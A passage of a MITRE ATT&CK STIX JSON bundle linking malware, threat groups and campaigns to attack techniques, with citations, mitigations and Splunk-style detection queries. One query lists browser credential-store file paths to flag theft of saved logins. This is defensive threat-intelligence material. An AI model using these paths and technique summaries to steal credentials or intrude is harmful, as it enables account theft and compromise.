2019)","relationship_type":"uses","source_ref":"malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--50dea2f5-86ac-4786-b118-d67da0fa1a03","type":"relationship","created":"2020-01-24T17:57:51.455Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T17:57:51.455Z","relationship_type":"revoked-by","source_ref":"attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5","target_ref":"attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--50e1f50b-dee4-4e0d-8b1a-f4acb7ce419a","created":"2024-08-19T17:11:35.309Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T17:11:35.309Z","description":"Monitor M365 Audit logs for ```Add application``` or ```Add service\nprincipal``` operations involving the AzureActiveDirectory\nworkloads. Scrutinize extended properties such user agents, app display names, and RequiredAppPermissions (e.g., ImpersonationAccessGrants and DirectAccessGrants).\n\nAnalytic 1 - Creation of applications with unusual permissions or from suspicious user agents/IPs.\n\nNote: To detect the creation of potentially malicious applications using hijacked admin credentials or from unusual IP addresses.\n\n \"index=\"\"m365_audit_logs\"\" Workload=\"\"AzureActiveDirectory\"\" Operation=\"\"Add application\"\"\n| search ActorUserPrincipalName!=\"\"expected_admin_user\"\"\n| table CreationTime, ActorUserPrincipalName, IPAddress, ExtendedProperties, ModifiedProperties\"\n\nAnalytic 2 - Creation of service principals with suspicious user agents or from unusual IP addresses.\n\nNote: To detect the creation of potentially malicious service principals using hijacked admin credentials or from unusual IP addresses.\n\n \"index=\"\"m365_audit_logs\"\" Workload=\"\"AzureActiveDirectory\"\" Operation=\"\"Add service principal\"\"\n| search ActorUserPrincipalName!=\"\"expected_admin_user\"\"\n| table CreationTime, ActorUserPrincipalName, IPAddress, ExtendedProperties, ModifiedProperties\"","relationship_type":"detects","source_ref":"x-mitre-data-component--18b236d8-7224-488f-9d2f-50076a0f653a","target_ref":"attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--50e590c6-32bb-452c-a0ba-20c2ee6f0030","created":"2023-09-29T20:22:37.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Binary Defense Emotes Wi-Fi Spreader","description":"Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.","url":"https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T17:05:29.943Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has used HTTP for command and control.(Citation: Binary Defense Emotes Wi-Fi Spreader)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--50e66690-4ab2-443b-bc55-d7938a3c3f23","created":"2024-07-01T15:55:36.271Z","revoked":false,"external_references":[{"source_name":"apt41_dcsocytec_dec2022","description":"DCSO CyTec Blog. (2022, December 24). APT41 — The spy who failed to encrypt me. Retrieved June 13, 2024.","url":"https://medium.com/@DCSO_CyTec/apt41-the-spy-who-failed-to-encrypt-me-24fc0f49cad1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T15:55:36.271Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used `NATBypass` to bypass firewall restrictions and to access compromised systems via RDP.(Citation: apt41_dcsocytec_dec2022)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--50f0d6ac-0cfa-41d6-9795-e6843101c524","created":"2021-07-26T15:19:04.234Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.431Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) can base64 encode C2 replies.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--50f39180-6e5a-476b-b18f-d4e09e83c9d9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"}],"modified":"2020-06-22T17:54:15.482Z","description":"[Pteranodon](https://attack.mitre.org/software/S0147) can use HTTP for C2.(Citation: Palo Alto Gamaredon Feb 2017)","relationship_type":"uses","source_ref":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--50f68fb8-1e59-4b3a-b389-9c2797f4d347","created":"2019-01-31T02:01:45.573Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Hacking FIN4 Dec 2014","description":"Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-08T15:46:45.344Z","description":"[FIN4](https://attack.mitre.org/groups/G0085) has used [Tor](https://attack.mitre.org/software/S0183) to log in to victims' email accounts.(Citation: FireEye Hacking FIN4 Dec 2014)","relationship_type":"uses","source_ref":"intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--50fc9c04-4251-43f3-8c88-3fc58a3b4b5b","created":"2023-12-21T21:03:36.958Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"},{"source_name":"Trend Micro Cheerscrypt May 2022","description":"Dela Cruz, A. et al. (2022, May 25). New Linux-Based Ransomware Cheerscrypt Targeting ESXi Devices Linked to Leaked Babuk Source Code. Retrieved December 19, 2023.","url":"https://www.trendmicro.com/en_se/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-03T20:39:33.485Z","description":"[Cheerscrypt](https://attack.mitre.org/software/S1096) can encrypt data on victim machines using a Sosemanuk stream cipher with an Elliptic-curve Diffie–Hellman (ECDH) generated key.(Citation: Trend Micro Cheerscrypt May 2022)(Citation: Sygnia Emperor Dragonfly October 2022)\n","relationship_type":"uses","source_ref":"malware--5d3fa1db-5041-4560-b87b-8f61cc225c52","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--50ffe9ed-aaf1-4b82-9dea-b15c2cb07225","created":"2024-05-16T20:08:46.703Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-16T20:08:46.703Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has conducted pre-compromise web searches for victim information.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--51046675-9dcd-416e-a43d-09ae7d589a18","created":"2022-02-18T13:42:42.393Z","x_mitre_version":"1.0","external_references":[{"source_name":"Roadtools","url":"https://dirkjanm.io/introducing-roadtools-and-roadrecon-azure-ad-exploration-framework/","description":"Dirk-jan Mollema. (2020, April 16). Introducing ROADtools - The Azure AD exploration framework. Retrieved January 31, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ROADTools](https://attack.mitre.org/software/S0684) can enumerate Azure AD users.(Citation: Roadtools)","modified":"2022-04-13T14:17:03.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--6dbdc657-d8e0-4f2f-909b-7251b3e72c6d","target_ref":"attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--510616c2-f124-49b2-83a2-cac81d2d4155","type":"relationship","created":"2022-03-23T16:57:13.777Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lazarus APT January 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."},{"source_name":"Qualys LolZarus","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022."}],"modified":"2022-03-23T19:01:21.681Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has changed memory protection permissions then overwritten in memory DLL function code with shellcode, which was later executed via [KernelCallbackTable](https://attack.mitre.org/techniques/T1574/013) hijacking. [Lazarus Group](https://attack.mitre.org/groups/G0032) has also used shellcode within macros to decrypt and manually map DLLs into memory at runtime.(Citation: Lazarus APT January 2022)(Citation: Qualys LolZarus)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--510b9143-95fb-482b-8680-751317550260","created":"2024-03-06T17:53:48.549Z","revoked":false,"external_references":[{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-06T17:53:48.549Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used RDP with compromised credentials for lateral movement.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--510c2f8c-4570-4c19-8c36-7004f8bbf561","type":"relationship","created":"2017-05-31T21:33:27.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Stealth Falcon May 2016","description":"Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.","url":"https://citizenlab.org/2016/05/stealth-falcon/"}],"modified":"2020-03-17T02:38:48.580Z","description":"[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers the Address Resolution Protocol (ARP) table from the victim.(Citation: Citizen Lab Stealth Falcon May 2016)","relationship_type":"uses","source_ref":"intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--510caea2-109f-4936-96e9-3e8125f39b27","created":"2024-06-27T17:53:40.250Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-27T17:53:40.250Z","description":"[LunarMail](https://attack.mitre.org/software/S1142) has been installed through a malicious macro in a Microsoft Word document.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--510fefe4-1f76-4c33-a447-2f85e3dc87e2","created":"2023-07-10T16:58:39.360Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-30T22:10:19.895Z","description":"Limit the ability to access and export sensitive logs to privileged accounts where possible.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--866d0d6d-02c6-42bd-aa2f-02907fdc0969","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5112b872-0d2e-48a7-ac5c-512a3720d46d","created":"2024-09-25T19:03:53.726Z","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T19:03:53.726Z","description":"[Play](https://attack.mitre.org/groups/G1040) has used Base64-encoded PowerShell scripts for post exploit activities on compromised hosts.(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5113edc5-a4ee-4888-89b1-0c3353ea05da","created":"2022-01-10T19:52:49.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.925Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) can collect time zone information and system `UPTIME`.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51151669-a076-4d4a-af68-cf303baf01d5","type":"relationship","created":"2020-06-10T18:22:16.978Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.418Z","description":"[ABK](https://attack.mitre.org/software/S0469) has the ability to use HTTP in communications with C2.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--a0ebedca-d558-4e48-8ff7-4bf76208d90c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51194570-630f-4d23-ab45-234a0f048b94","type":"relationship","created":"2019-12-03T14:25:00.678Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2019-12-03T14:25:00.678Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--51199d93-66da-4b43-90b5-fdddb823b9c9","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T14:11:17.503Z","description":"Identify web browser files that contain credentials such as Google Chrome’s Login Data database file: AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser.\n\nAnalytic 1 - Unauthorized access to web browser credential files.\n\nindex=security sourcetype IN (\"WinEventLog:Microsoft-Windows-Sysmon/Operational\", \"linux_secure\", \"macos_secure\") event_type=\"file_open\"\n((file_path IN (\"*\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data\", \"*\\\\AppData\\\\Local\\\\Microsoft\\\\Edge\\\\User Data\\\\Default\\\\Login Data\", \"*\\\\AppData\\\\Roaming\\\\Mozilla\\\\Firefox\\\\Profiles\\\\*\\\\logins.json\") AND Platform=\"Windows\") OR\n (file_path IN (\"/home/*/.mozilla/firefox/*/logins.json\", \"/home/*/.config/google-chrome/Default/Login Data\") AND Platform=\"Linux\") OR\n (file_path IN (\"/Users/*/Library/Application Support/Google/Chrome/Default/Login Data\", \"/Users/*/Library/Application Support/Firefox/Profiles/*/logins.json\") AND Platform=\"macOS\")) ","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--511e186f-2a71-4fb2-9a54-12fd80e2cd50","created":"2022-04-14T20:22:40.317Z","x_mitre_version":"0.1","external_references":[{"source_name":"Google TAG Ukraine Threat Landscape March 2022","url":"https://blog.google/threat-analysis-group/update-threat-landscape-ukraine","description":"Huntley, S. (2022, March 7). An update on the threat landscape. Retrieved March 16, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[APT28](https://attack.mitre.org/groups/G0007) has used newly-created Blogspot pages for credential harvesting operations.(Citation: Google TAG Ukraine Threat Landscape March 2022)","modified":"2022-04-14T20:22:40.317Z","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--511ed53b-8445-4da7-8890-49d1b4e98077","created":"2022-09-29T19:03:42.434Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T19:03:42.434Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors loaded DLLs via `rundll32` using the `svchost` process.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--511f21a9-50eb-47ff-b714-90c485bca8d0","type":"relationship","created":"2020-02-27T18:00:08.524Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?p=2293","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","source_name":"AdSecurity Cracking Kerberos Dec 2015"}],"modified":"2020-03-25T21:46:46.993Z","description":"Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators.(Citation: AdSecurity Cracking Kerberos Dec 2015)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5122573a-278d-42bc-a8c8-728b1be0a361","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T14:23:38.296Z","description":"Monitor newly constructed files that may establish persistence by executing malicious content triggered by user inactivity.\n\nAnalytic 1 - Created on disk that are being used as Screensaver files\n\n(sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=\"11\") TargetObject=\"*\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\Control Panel\\\\Desktop\\\\SCRNSAVE.EXE\" ","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51244880-c155-4dba-844a-2021304c8954","type":"relationship","created":"2020-03-02T14:19:22.942Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-25T19:01:04.756Z","description":"Consider encrypting important information to reduce an adversary’s ability to perform tailored data modifications.","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5124a13e-f7a3-43ad-88e4-c73c380cb6f7","created":"2022-03-04T18:32:33.650Z","x_mitre_version":"1.0","external_references":[{"source_name":"AADInternals Documentation","url":"https://o365blog.com/aadinternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AADInternals](https://attack.mitre.org/software/S0677) can register a device to Azure AD.(Citation: AADInternals 